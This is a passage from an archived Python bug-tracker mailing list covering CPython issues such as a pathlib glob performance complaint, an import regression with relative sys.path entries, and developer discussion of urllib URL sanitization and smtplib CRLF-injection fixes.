PyUnicode_WCHAR_KIND, leading to a divide by zero problem. The same pattern is also used without checking in function "static int resize_inplace(PyObject *unicode, Py_ssize_t length)". Here is the link to the code location: https://github.com/python/cpython/blob/main/Objects/unicodeobject.c#L1045 Should we add an explicit check on variable char_size before using it in division? ---------- components: Unicode messages: 393188 nosy: ezio.melotti, vstinner, yiyuaner priority: normal severity: normal status: open title: Possible divide by zero problems type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 11:14:14 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 07 May 2021 15:14:14 +0000 Subject: [issue44068] Possible divide by zero problems In-Reply-To: <1620399644.92.0.605613335347.issue44068@roundup.psfhosted.org> Message-ID: <1620400454.45.0.788770060222.issue44068@roundup.psfhosted.org> Serhiy Storchaka added the comment: It cannot be 0 if PyUnicode_IS_READY() returns true. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 11:46:22 2021 From: report at bugs.python.org (Elijah Rippeth) Date: Fri, 07 May 2021 15:46:22 +0000 Subject: [issue44069] pathlib.Path.glob's generator is not a real generator Message-ID: <1620402382.41.0.425186476785.issue44069@roundup.psfhosted.org> New submission from Elijah Rippeth : I have a directory with hundreds of thousands of text files. I wanted to explore one file, so I wrote the following code expecting it to happen basically instantaneously because of how generators work: ```python from pathlib import Path base_dir = Path("/path/to/lotta/files/") files = base_dir.glob("*.txt") # return immediately first_file = next(files) # doesn't return immediately ``` to my surprise, this took a long time to finish since `next` on a generator should be O(1). A colleague pointed me to the following code: https://github.com/python/cpython/blob/adcd2205565f91c6719f4141ab4e1da6d7086126/Lib/pathlib.py#L431 I assume calling this list is to "freeze" a potentially changing directory since `scandir` relies on `os.stat`, but this causes a huge penalty and makes the generator return-type a bit disingenuous. In any case, I think this is bug worthy in someo sense. ---------- components: IO messages: 393190 nosy: Elijah Rippeth priority: normal severity: normal status: open title: pathlib.Path.glob's generator is not a real generator type: performance versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 11:53:44 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 07 May 2021 15:53:44 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620402824.24.0.932789464187.issue41730@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24627 pull_request: https://github.com/python/cpython/pull/25971 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 12:04:23 2021 From: report at bugs.python.org (wyz23x2) Date: Fri, 07 May 2021 16:04:23 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620403463.58.0.358332986543.issue41730@roundup.psfhosted.org> wyz23x2 added the comment: Merged! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 12:05:06 2021 From: report at bugs.python.org (wyz23x2) Date: Fri, 07 May 2021 16:05:06 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620403506.25.0.87975934708.issue41730@roundup.psfhosted.org> Change by wyz23x2 : ---------- versions: -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 12:14:55 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 07 May 2021 16:14:55 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620404095.88.0.0361719098039.issue41730@roundup.psfhosted.org> miss-islington added the comment: New changeset ec6a1ea1ee67a5e7c8ee5f5b1541bc1c6e17a373 by Miss Islington (bot) in branch '3.10': bpo-41730: Show deprecation warnings for tkinter.tix (GH-22186) https://github.com/python/cpython/commit/ec6a1ea1ee67a5e7c8ee5f5b1541bc1c6e17a373 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 12:30:27 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 07 May 2021 16:30:27 +0000 Subject: [issue16866] libainstall doesn't create $(BINDIR) directory In-Reply-To: <1357357650.4.0.164255645189.issue16866@psf.upfronthosting.co.za> Message-ID: <1620405027.24.0.249415159079.issue16866@roundup.psfhosted.org> Senthil Kumaran added the comment: This is still a problem behaviour as of May 2021. ./configure --prefix=/home/senthil/foobar make libainstall failed with /usr/bin/install: cannot create regular file '/home/senthil/foobar/bin/python3.11-config': No such file or directory make: *** [Makefile:1715: libainstall] Error 1 ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 12:30:47 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 May 2021 16:30:47 +0000 Subject: [issue35590] logging.handlers.SysLogHandler with STREAM connects in constructor without timeout In-Reply-To: <1545822053.48.0.712150888896.issue35590@roundup.psfhosted.org> Message-ID: <1620405047.04.0.952842661786.issue35590@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +vinay.sajip versions: +Python 3.11 -Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 13:04:05 2021 From: report at bugs.python.org (guangli dong) Date: Fri, 07 May 2021 17:04:05 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620407045.86.0.0451233039342.issue44022@roundup.psfhosted.org> guangli dong added the comment: @Gregory P. Smith yes, i agree that there are many other ways to make "urllib" or "httplib" such http client hang, because "timeout" is not global read timeout, this "timeout" has effects when every "read socket" operation. why you think it will not result in memory exhaustion? the "hlist" list will not be more and more larger? i use "top" command to observe, and find the "client.py" process's memory is more and more larger slowly. ``` httplib.py while True: ... line = self.fp.readline(_MAXLINE + 1) ... hlist.append(line) ``` the last, would you mind remove "100 Continue" in this bug title? i think it will maybe make others misunderstand that this bug only occur when response status code is "100". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 13:39:21 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 07 May 2021 17:39:21 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620409161.98.0.123285001257.issue44022@roundup.psfhosted.org> Gregory P. Smith added the comment: httplib.py is a Python 2 concept. Python 2 is end of life. bugs.python.org no longer tracks issues with its code. I don't doubt that Python 2.7 has bugs. As a matter of policy, we don't care - https://www.python.org/doc/sunset-python-2/. Python 3.6 as that is the oldest branch still open for security fixes. The PRs associated with this issue fixed a codepath in Python 3 that only happened after a '100' response. That codepath did not accumulate headers: ``` if status != CONTINUE: break # skip the header from the 100 response while True: skip = self.fp.readline(_MAXLINE + 1) if len(skip) > _MAXLINE: raise LineTooLong("header line") skip = skip.strip() if not skip: break ``` CONTINUE = 100; meaning that loop only runs after receiving what appears to be a 100 continue response. And it does not accumulate data. There is no `hlist` in the original pre-fix Python 3.6+ code. Nor any header accumulation caused by this the client.py talking to evil_server.py as described in this issues opening message. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 13:49:16 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 07 May 2021 17:49:16 +0000 Subject: [issue44063] compiler: does not revert back the end_* locations In-Reply-To: <1620329653.84.0.738145818276.issue44063@roundup.psfhosted.org> Message-ID: <1620409756.2.0.0190100230158.issue44063@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24628 pull_request: https://github.com/python/cpython/pull/25972 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 13:49:38 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 07 May 2021 17:49:38 +0000 Subject: [issue16866] libainstall doesn't create $(BINDIR) directory In-Reply-To: <1357357650.4.0.164255645189.issue16866@psf.upfronthosting.co.za> Message-ID: <1620409778.84.0.864812938414.issue16866@roundup.psfhosted.org> Senthil Kumaran added the comment: issue25696 was related, and it fixed bininstall issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 14:16:37 2021 From: report at bugs.python.org (Joshua Root) Date: Fri, 07 May 2021 18:16:37 +0000 Subject: [issue43568] Drop support for Mac OS X < 10.3 module linking In-Reply-To: <1616245702.65.0.278864424752.issue43568@roundup.psfhosted.org> Message-ID: <1620411397.47.0.963158734035.issue43568@roundup.psfhosted.org> Joshua Root added the comment: Thanks Ned. Would it be OK to backport just the distutils change to 3.9? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 14:18:36 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 May 2021 18:18:36 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620411516.06.0.270600600353.issue43882@roundup.psfhosted.org> Ned Deily added the comment: > Unfortunately you already have to deal with the existence of 3.9.5 having the new behavior but not having a control. I have been holding off on 3.7.x and 3.6.x security releases pending resolutions of this and other open security issues. But based on the most recent discussions, my take is that it would be a disservice to anyone still using 3.7 or 3.6 to release with the most recent "partial" fix (GH-25924 / GH-25924) if it going to cause breakage. So, rather than delay further, unless there is a new resolution or someone has a very persuasive argument against it, I am going to revert those last two PRs from 3.7 and 3.6 for the upcoming releases pending a less intrusive fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 14:25:51 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 May 2021 18:25:51 +0000 Subject: [issue43656] StackSummary.format fails if str(value) fails In-Reply-To: <1617010609.77.0.749976985588.issue43656@roundup.psfhosted.org> Message-ID: <1620411951.92.0.332225532478.issue43656@roundup.psfhosted.org> Irit Katriel added the comment: I think it's the other way around - the documentation usually states what exceptions a function can raise as part of its published API, not which exceptions it should not raise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 14:27:48 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 May 2021 18:27:48 +0000 Subject: [issue39228] traceback.FrameSummary does not handle exceptions from `repr()` In-Reply-To: <1578284065.37.0.657086816746.issue39228@roundup.psfhosted.org> Message-ID: <1620412068.13.0.578648423505.issue39228@roundup.psfhosted.org> Irit Katriel added the comment: I think pdb is a different story because it's an interactive application rather than a library. pdb can decide that it prints an error to the screen and returns to the interactive prompt, if that is appropriate. The functions of the traceback module don't have application context telling them what they should do with an exception. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 14:40:27 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 May 2021 18:40:27 +0000 Subject: [issue21381] Python 3.4+ interpreter built on/with OS X 10.7 deployment target segfaults on 10.8+ In-Reply-To: <1398734858.53.0.489606157179.issue21381@psf.upfronthosting.co.za> Message-ID: <1620412827.97.0.941589099141.issue21381@roundup.psfhosted.org> Ned Deily added the comment: A number of changes have been made since the initial report in 3.4 that might affect this area including as of 3.9.1 finally supporting weaklinking, that is, building on a newer version of macOS to run on older systems. Plus we no actively support systems older than macOS 10.9. I am closing this issue as out-of-date. Please re-open if the recursion segfault is still an issue with current Python and macOS versions. ---------- resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 14:43:45 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 May 2021 18:43:45 +0000 Subject: [issue43568] Drop support for Mac OS X < 10.3 module linking In-Reply-To: <1616245702.65.0.278864424752.issue43568@roundup.psfhosted.org> Message-ID: <1620413025.96.0.00845600182011.issue43568@roundup.psfhosted.org> Ned Deily added the comment: > Would it be OK to backport just the distutils change to 3.9? While this seems like a minor feature behavior change rather than a bug fix, it probably wouldn't cause any problems to make such a change. I don't recall this issue coming up before as a problem for users - at least not in a very long time - but, if you think a backport is called for, feel free to submit a PR. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 14:51:59 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 07 May 2021 18:51:59 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620413519.92.0.360805369037.issue43882@roundup.psfhosted.org> Senthil Kumaran added the comment: Hello All, I think, the current striping of ASCII newline and tab is a _reasonable_ solution given it was a security issue. It also follows the guidelines of "WHATWG" (Specifically Point 3) > 2. If input contains any ASCII tab or newline, validation error. > 3. Remove all ASCII tab or newline from input. And as per WHATWG, "A validation error does not mean that the parser terminates. Termination of a parser is always stated explicitly, e.g., through a return statement." I agree that terms used in spec vs representing it with library code may not be 1:1, but we tried to stay close and followed the existing behavior of widely used clients. This is a fix, per a security report, and per an evolv{ed,ing} standard recommendation. When dealing with security fixes, there could be simple or more complex migration involvements. My reading of the previous message was, even if we raised exception or gave as a parameter, it wont be any better for certain downstream users, as we let the security problem open, and have it only as opt-in fix. With respect to control The comment in the review - https://github.com/python/cpython/pull/25595#pullrequestreview-647122723 was to make these characters available in module level parameters, so that if users prefer to override, they could patch it. so a revert may not be necessary for the reason of lack of control. In short, at this moment, I still feel that is reasonable fix at this moment for the problem report, and intention to move closer to whatwg spec. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 14:52:47 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 May 2021 18:52:47 +0000 Subject: [issue44065] "configure: error: internal configure error for the platform triplet" on macOS with Clang supporting --print-multiarch: In-Reply-To: <1620369946.97.0.428718248395.issue44065@roundup.psfhosted.org> Message-ID: <1620413567.71.0.218447511053.issue44065@roundup.psfhosted.org> Ned Deily added the comment: We don't recommend nor do we test building Python for macOS with anything but the Apple-supplied compilers in either Xcode or the Command Line Tools and this hasn't been a problem with the clang versions in them so far but, if someone wants to provide a PR to avoid this, we can certainly look at applying it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:01:35 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 May 2021 19:01:35 +0000 Subject: [issue44030] Markup with_traceback code example In-Reply-To: <1620123878.12.0.914520648709.issue44030@roundup.psfhosted.org> Message-ID: <1620414095.34.0.428978239924.issue44030@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:12:23 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 May 2021 19:12:23 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620414743.43.0.379846460902.issue43882@roundup.psfhosted.org> Ned Deily added the comment: > My reading of the previous message was, even if we raised exception > or gave as a parameter, it wont be any better for certain downstream > users, as we let the security problem open, and have it only as opt-in fix. Senthil, I am not sure which previous message you are referring to but, with regards to my comment about revert the recent fixes for 3.7 and 3.6 until the reported problems are resolved, I should add that, given the recent input from downstream users about the side effects, the only way we *should* proceed with the current changes is by including more information in a What's New entry and the NEWS blurb about that the implications to users are of these changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:14:19 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 May 2021 19:14:19 +0000 Subject: [issue43124] [security] smtplib multiple CRLF injection In-Reply-To: <1612443934.09.0.696762333019.issue43124@roundup.psfhosted.org> Message-ID: <1620414859.77.0.190409081313.issue43124@roundup.psfhosted.org> Ned Deily added the comment: Still in "deferred blocker" status awaiting a PR from someone ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:15:24 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 07 May 2021 19:15:24 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620414924.41.0.0860851395031.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: There is no less intrusive fix as far as I can see. I believe we're down to either stick with what we've done, or do nothing. It doesn't have to be the same choice in all release branches, being more conservative with changes the older the stable branch is okay. (ie: removing this from 3.6 and 3.7 seems fine even if more recent ones do otherwise) Based on my testing, raising an exception is more intrusive to existing tests (which we can only ever hope is representative of code) than stripping. At least as exposed by running the changes through many tens of thousands of unittest suites at work. ie: if we raise an exception, pandas.read_json() starts failing because that winds up using urlsplit in hopes of extracting the scheme and comparing that to known values as their method of deciding if something should be treated as a URL to data rather than data. Pandas would need to be fixed. That urlsplit() API use pattern is repeated in various other pieces of code: urlsplit is not expected to raise an exception. The caller then has a conditional or two testing some parts of the urlsplit result to make a guess as to if something should be considered a URL or not. Doing code inspection, pandas included, this code pretty much always then goes on to pass the original url value off to some other library, be it urllib, or requests, or ...). Consequences of that code inspection finding? With our existing character stripping change, new data is then allowed to pass through these urlsplit uses and be considered a URL. Which leads to some code sending the url with embedded \r\n\t chars on to other APIs - a concern expressed a couple of times above. Even though urlsplit isn't itself a validation API, it gets used as an early step in peoples custom identification and validation attempts. So *any* change we make to it at all in any way breaks someones expectations, even if they probably shouldn't have had those expectations and aren't doing wise validation. Treat this analysis as a sign that we should provide an explicit url validator because almost everyone is doing it some form of wrong. (issue43883) I did wonder if Mike's suggestion of removing the characters during processing, but leaving them in the final result in https://bugs.python.org/issue43882#msg393033 is feasible as remediation for this? My gut feeling is that it isn't. It doesn't solve the problem of preventing the bad data from going where it shouldn't. Even if we happen to parse that example differently, the unwanted characters are still retained in other places they don't belong. Fundamantelly: We require people to make a different series of API call and choices in the end user code to **explicitly not use unvalidated inputs**. Our stdlib API surface can't satisfy that today and use of unvalidated data in wrong places is a broad software security antipattern theme. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:27:43 2021 From: report at bugs.python.org (Miguel Brito) Date: Fri, 07 May 2021 19:27:43 +0000 Subject: [issue43124] [security] smtplib multiple CRLF injection In-Reply-To: <1612443934.09.0.696762333019.issue43124@roundup.psfhosted.org> Message-ID: <1620415663.0.0.77785913299.issue43124@roundup.psfhosted.org> Miguel Brito added the comment: If there's no one working on it I'd be happy to prepare a fix. ---------- nosy: +miguendes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:32:34 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 May 2021 19:32:34 +0000 Subject: [issue43124] [security] smtplib multiple CRLF injection In-Reply-To: <1612443934.09.0.696762333019.issue43124@roundup.psfhosted.org> Message-ID: <1620415954.65.0.321015777797.issue43124@roundup.psfhosted.org> Ned Deily added the comment: There is no sign of anyone currently working on it, so please feel free to dig in! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:36:39 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 May 2021 19:36:39 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620416199.9.0.461364396903.issue40297@roundup.psfhosted.org> Ned Deily added the comment: New changeset 1beae7e523d2db4e3ce383b2032095ef956f21c4 by Zachary Ware in branch '3.7': [3.7] bpo-40297: Fix test_socket.CANTest.testSendFrame (GH-25960) https://github.com/python/cpython/commit/1beae7e523d2db4e3ce383b2032095ef956f21c4 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:37:59 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 07 May 2021 19:37:59 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620416279.44.0.964285334916.issue43882@roundup.psfhosted.org> Senthil Kumaran added the comment: Ned wrote: > Senthil, I am not sure which previous message you are referring to but. I meant, the messages from other developers who raised that change broke certain test cases. Ned, but I got little concerned, if we planned to revert the change. > the only way we *should* proceed with the current changes is by including more information in a What's New entry and the NEWS blurb about that the implications to users are of these changes. I agree with completely. I will include an additional blurb for this change for security fix versions. Greg wrote: > There is no less intrusive fix as far as I can see. I believe we're down to either stick with what we've done, or do nothing. Exactly my feeling too. > It doesn't have to be the same choice in all release branches, being more conservative with changes the older the stable branch is okay. (ie: removing this from 3.6 and 3.7 seems fine even if more recent ones do otherwise) I hadn't considered that. But it wont save much will be my opinion. The users will have to upgrade to supported versions anyway and it will break then. The problem is only pushed a little. So, keeping it consistent seems alright to me. It is a little additional for everyone, but we seem to be doing it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 15:59:49 2021 From: report at bugs.python.org (James Saryerwinnie) Date: Fri, 07 May 2021 19:59:49 +0000 Subject: [issue44070] Regression with relative paths in sys.path in python 3.8.10 Message-ID: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> New submission from James Saryerwinnie : There was a change in behavior in Python 3.8.10 when using relative paths in sys.path. It appears that the paths are now converted to absolute paths that are cached and can cause import errors in some cases. Repro: $ cat repro.sh #!/bin/bash python --version mkdir -p /tmp/repro/{A,B}/testproject echo "msg = 'from A'" > /tmp/repro/A/testproject/app.py echo "msg = 'from B'" > /tmp/repro/B/testproject/app.py python -c " import sys, os, shutil os.chdir('/tmp/repro/A') sys.path.append('testproject') import app print(app) print(app.msg) os.chdir('/tmp/repro/B') shutil.rmtree('/tmp/repro/A') del sys.modules['app'] import app print(app) print(app.msg) " rm -rf /tmp/repro On Python 3.8.9 I get: $ ./repro.sh Python 3.8.9 from A from B On Python 3.8.10 I get: $ ./repro.sh Python 3.8.10 from A Traceback (most recent call last): File "", line 12, in ModuleNotFoundError: No module named 'app' I haven't confirmed this (I can't work out the frozen bootstrap stuff), but this might be caused by https://bugs.python.org/issue43105, whose patch does seem to be converting paths to absolute paths. ---------- components: Library (Lib) messages: 393212 nosy: James.Saryerwinnie priority: normal severity: normal status: open title: Regression with relative paths in sys.path in python 3.8.10 type: behavior versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:03:24 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 07 May 2021 20:03:24 +0000 Subject: [issue44070] Regression with relative paths in sys.path in python 3.8.10 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620417804.17.0.68556956857.issue44070@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:03:35 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 07 May 2021 20:03:35 +0000 Subject: [issue44070] Regression with relative paths in sys.path in python 3.8.10 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620417815.0.0.25555462661.issue44070@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:03:58 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 07 May 2021 20:03:58 +0000 Subject: [issue44070] Regression with relative paths in sys.path in python 3.8.10 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620417838.81.0.491837707006.issue44070@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +3.10regression, 3.8regression, 3.9regression priority: normal -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:04:54 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 07 May 2021 20:04:54 +0000 Subject: [issue44070] Regression with relative paths in sys.path in python 3.8.10 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620417894.34.0.778724220867.issue44070@roundup.psfhosted.org> Gregory P. Smith added the comment: without inspecting the code: I wonder if this is related to the same change as https://bugs.python.org/issue44061 ? ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:07:59 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 07 May 2021 20:07:59 +0000 Subject: [issue35663] webbrowser.py firefox bug [python3, windows 10] In-Reply-To: <1546664632.95.0.705177998493.issue35663@roundup.psfhosted.org> Message-ID: <1620418079.29.0.161974223628.issue35663@roundup.psfhosted.org> Gregory P. Smith added the comment: Others are reporting this works. if that is not true on the most recent python 3.9 release, please reopen with more detailed reproduction instructions. ---------- nosy: +gregory.p.smith resolution: -> works for me stage: -> needs patch status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:09:00 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 07 May 2021 20:09:00 +0000 Subject: [issue44058] 'master' refs in 3.10 version of .azure-pipelines In-Reply-To: <1620310215.23.0.147753243163.issue44058@roundup.psfhosted.org> Message-ID: <1620418140.76.0.168489525449.issue44058@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> pablogsal nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:14:30 2021 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 May 2021 20:14:30 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620418470.49.0.79060388525.issue43992@roundup.psfhosted.org> ?ric Araujo added the comment: apt build-dep (or aptitude build-dep) is a command used to get build-time dependencies for the system package, which are not always the same as the upstream in-development version of Python. As the error message told you, you need deb-src lines in your sources.list to have this work. An example is here, it may not be up-to-date (refers to ubuntu bionic and python3.6) but hopefully you can adapt it: https://devguide.python.org/setup/#build-dependencies I think more explanations should come from ubuntu documentation or forums, not Python docs; Python can?t document every facility from every OS. ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:16:08 2021 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 May 2021 20:16:08 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620418568.97.0.680137858668.issue43992@roundup.psfhosted.org> ?ric Araujo added the comment: Some results from a quick web search: - https://wiki.debian.org/BuildingTutorial - https://unix.stackexchange.com/questions/158395/apt-get-build-dep-is-unable-to-find-a-source-package - https://www.linuxfordevices.com/tutorials/debian/build-packages-from-source ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:17:55 2021 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 May 2021 20:17:55 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1620418675.1.0.656247965665.issue44045@roundup.psfhosted.org> ?ric Araujo added the comment: I don?t think that there is a problem to be fixed. Separated ?lower case? could be unfriendly, but the hyphen is there in the adjective forms so it seems that changing these instances would add churn for no benefit. ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:27:21 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 07 May 2021 20:27:21 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API In-Reply-To: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> Message-ID: <1620419241.19.0.224469709272.issue44066@roundup.psfhosted.org> Erlend E. Aasland added the comment: You need to create your type objects dynamically when using the Limited API. See PEP 384 for how to do so: https://www.python.org/dev/peps/pep-0384/#type-objects Quoting from the PEP: "The structure of type objects is not available to applications; declaration of "static" type objects is not possible anymore (for applications using this ABI). Instead, type objects get created dynamically." ---------- nosy: +erlendaasland resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:28:21 2021 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 May 2021 20:28:21 +0000 Subject: [issue44023] "tarfile" library will lead to "write any content to any file on the host". In-Reply-To: <1620063843.8.0.514260137969.issue44023@roundup.psfhosted.org> Message-ID: <1620419301.61.0.0788073965564.issue44023@roundup.psfhosted.org> ?ric Araujo added the comment: Can you contact the security team (info at https://www.python.org/dev/security/ ) directly? In general, tarfile (and other Python file functions!) can create files anywhere on the filesystem, provided that the process user has the right permissions. But it seems that you?re talking about an unexpected behaviour leading to unwanted operations, so please send more details about the problem to the team. Thank you for your report! ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:29:13 2021 From: report at bugs.python.org (Steve Dower) Date: Fri, 07 May 2021 20:29:13 +0000 Subject: [issue44070] Regression with relative paths in sys.path in python 3.8.10 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: 